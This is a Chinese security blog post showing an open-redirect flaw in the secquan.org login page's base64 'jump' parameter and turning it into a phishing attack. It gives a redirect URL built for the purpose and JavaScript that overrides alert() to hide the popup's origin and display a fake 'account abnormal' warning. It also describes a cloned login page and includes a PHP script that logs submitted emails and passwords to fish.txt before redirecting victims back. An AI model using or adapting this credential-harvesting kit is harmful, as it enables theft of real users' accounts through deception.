圈子社区登陆处任意url跳转实现钓鱼用户

圈子社区登陆处任意url跳转实现钓鱼用户

漏洞本身倒是没什么大危害,稍加利用下还蛮好玩的。

漏洞详情

圈子社区登陆首页默认链接:https://www.secquan.org/Login?jump=aHR0cHM6Ly93d3cuc2VjcXVhbi5vcmc=

对于上面红框中jump后内容的base64解码为:https://www.secquan.org

这里使用 https://www.baidu.com 的base64加密后的内容替换下,构造出的链接为:

https://www.secquan.org/Login?jump=aHR0cHM6Ly93d3cuYmFpZHUuY29t

登陆成功后即自动跳转至百度。

2

利用设想

3

实际利用

访问构造好的钓鱼链接,正常登陆

(能力有限,做不到太完美,不过看着倒是像那么回事):

先看一下页面跳转时弹窗的效果

※ 以下均在qq中测试效果

4

其实弹窗这里的标题默认是有网址显示的,这样等于直接暴露地址了,加一段JS来重写alert方法即可。

1
2
3
4
5
6
7
8
9
10
11
<script>
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("账号异常,请重新登陆");
</script>

首页成品是这样的(勉勉强强以假乱真)

Ctrl+S将社区登陆的首页静态页面保存在了本地,进行了一番修改(配合接收账号密码的php文件),弄了会儿发现验证码无法调用,索性直接删除吧,感觉这个验证码是最失败的地方。

5

后台简单写个接收账号密码的php页面

1
2
3
4
5
6
7
<?php 	
$email=$_POST['email'];
$password=$_POST['password'];
$result=$email."|".$password;
file_put_contents("fish.txt", $result.PHP_EOL, FILE_APPEND);
echo "<script>window.location.href='https://www.secquan.org'</script>";
?>

钓鱼成功

6

最后用户输入的内容被写入到同目录下的fish.txt中,且页面被重定向至 https://www.secquan.org ,由于之前登陆成功的会话还在,所以直接就是已登陆的状态了。

作者

Se7en

发布于

2019-06-10

更新于

2022-03-31

许可协议

评论